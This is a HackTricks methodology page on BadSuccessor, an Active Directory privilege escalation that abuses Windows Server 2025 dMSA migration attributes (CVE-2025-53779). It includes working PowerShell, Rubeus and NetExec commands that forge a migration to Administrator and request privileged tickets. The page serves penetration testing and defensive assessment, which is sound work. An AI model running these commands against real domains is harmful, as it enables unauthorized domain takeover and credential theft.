badsuccessor.md (6824B)
1 --- 2 title: "BadSuccessor" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # BadSuccessor 14 15 ## Overview 16 17 **BadSuccessor** abuses the **delegated Managed Service Account** (**dMSA**) migration workflow introduced in **Windows Server 2025**. A dMSA can be linked to a legacy account through **`msDS-ManagedAccountPrecededByLink`** and moved through the migration states stored in **`msDS-DelegatedMSAState`**. If an attacker can create a dMSA in a writable OU and control those attributes, the KDC can issue tickets for the attacker-controlled dMSA with the **authorization context of the linked account**.<sup>[[2]](#references)</sup> 18 19 In practice this means a low-privileged user who only has delegated OU rights can create a new dMSA, point it at `Administrator`, complete the migration state, and then obtain a TGT whose PAC contains privileged groups such as **Domain Admins**.<sup>[[2]](#references)</sup> 20 21 ## dMSA migration details that matter 22 23 - dMSA is a **Windows Server 2025** feature. 24 - `Start-ADServiceAccountMigration` sets the migration into the **started** state. 25 - `Complete-ADServiceAccountMigration` sets the migration into the **completed** state. 26 - `msDS-DelegatedMSAState = 1` means migration started. 27 - `msDS-DelegatedMSAState = 2` means migration completed. 28 - During legitimate migration, the dMSA is meant to replace the superseded account transparently, so the KDC/LSA preserve access that the previous account already had.<sup>[[3]](#references)</sup> 29 30 Microsoft Learn also notes that during migration the original account is tied to the dMSA and the dMSA is intended to access what the old account could access.<sup>[[3]](#references)</sup> This is the security assumption BadSuccessor abuses.<sup>[[2]](#references)</sup> 31 32 ## Requirements 33 34 1. A domain where **dMSA exists**, which means **Windows Server 2025** support is present on the AD side. 35 2. The attacker can **create** `msDS-DelegatedManagedServiceAccount` objects in some OU, or has equivalent broad child-object creation rights there. 36 3. The attacker can **write** the relevant dMSA attributes or fully control the dMSA they just created. 37 4. The attacker can request Kerberos tickets from a domain-joined context or from a tunnel that reaches LDAP/Kerberos.<sup>[[2]](#references)</sup> 38 39 ### Practical checks 40 41 The cleanest operator signal is to verify the domain/forest level and confirm the environment is already using the new Server 2025 stack: 42 43 ```powershell 44 Get-ADDomain | Select Name,DomainMode 45 Get-ADForest | Select Name,ForestMode 46 ``` 47 48 If you see values such as `Windows2025Domain` and `Windows2025Forest`, treat **BadSuccessor / dMSA migration abuse** as a priority check. 49 50 You can also enumerate writable OUs delegated for dMSA creation with public tooling:<sup>[[1]](#references)</sup> 51 52 ```powershell 53 .\Get-BadSuccessorOUPermissions.ps1 54 ``` 55 56 ```bash 57 netexec ldap <dc> -u <user> -p '<pass>' -M badsuccessor 58 ``` 59 60 ## Abuse flow 61 62 1. Create a dMSA in an OU where you have delegated create-child rights. 63 2. Set **`msDS-ManagedAccountPrecededByLink`** to the DN of a privileged target such as `CN=Administrator,CN=Users,DC=corp,DC=local`. 64 3. Set **`msDS-DelegatedMSAState`** to `2` to mark the migration as completed. 65 4. Request a TGT for the new dMSA and use the returned ticket to access privileged services.<sup>[[2]](#references)</sup> 66 67 PowerShell example:<sup>[[2]](#references)</sup> 68 69 ```powershell 70 New-ADServiceAccount -Name attacker_dMSA -DNSHostName host.corp.local -Path "OU=Delegated,DC=corp,DC=local" 71 Set-ADServiceAccount attacker_dMSA -Add @{ 72 msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=corp,DC=local" 73 } 74 Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2} 75 ``` 76 77 Ticket request / operational tooling examples:<sup>[[1]](#references)[[2]](#references)</sup> 78 79 ```bash 80 Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/corp.local /dmsa /opsec /nowrap /ptt /ticket:<machine_tgt> 81 netexec ldap <dc> -u <user> -p '<pass>' -M badsuccessor -o TARGET_OU='OU=Delegated,DC=corp,DC=local' DMSA_NAME=attacker TARGET_ACCOUNT=Administrator 82 ``` 83 84 ## Why this is more than privilege escalation 85 86 During legitimate migration, Windows also needs the new dMSA to handle tickets that were issued for the previous account before cutover. This is why dMSA-related ticket material can include **current** and **previous** keys in the **`KERB-DMSA-KEY-PACKAGE`** flow.<sup>[[2]](#references)</sup> 87 88 For an attacker-controlled fake migration, that behavior can turn BadSuccessor into:<sup>[[2]](#references)</sup> 89 90 - **Privilege escalation** by inheriting privileged group SIDs in the PAC. 91 - **Credential material exposure** because previous-key handling can expose material equivalent to the predecessor's RC4/NT hash in vulnerable workflows. 92 93 That makes the technique useful both for direct domain takeover and for follow-on operations such as pass-the-hash or wider credential compromise. 94 95 ## Notes on patch status 96 97 The original BadSuccessor behavior is **not just a theoretical 2025 preview issue**. Microsoft assigned it **CVE-2025-53779** and published a security update in **August 2025**.<sup>[[4]](#references)</sup> Keep this attack documented for: 98 99 - **labs / CTFs / assume-breach exercises** 100 - **unpatched Windows Server 2025 environments** 101 - **validation of OU delegations and dMSA exposure during assessments** 102 103 Do not assume a Windows Server 2025 domain is vulnerable just because dMSA exists; verify patch level and test carefully. 104 105 ## Tools 106 107 - [Akamai BadSuccessor tooling](https://github.com/akamai/BadSuccessor) 108 - [SharpSuccessor](https://github.com/logangoins/SharpSuccessor) 109 - [NetExec `badsuccessor` module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py) 110 111 ## References 112 113 - [1] [HTB: Eighteen - BadSuccessor dMSA abuse to Domain Admin (0xdf)](https://0xdf.gitlab.io/2026/04/11/htb-eighteen.html) 114 - [2] [Akamai - BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory) 115 - [3] [Microsoft Learn - Delegated Managed Service Accounts overview](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview) 116 - [4] [Microsoft Security Response Center - CVE-2025-53779](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779)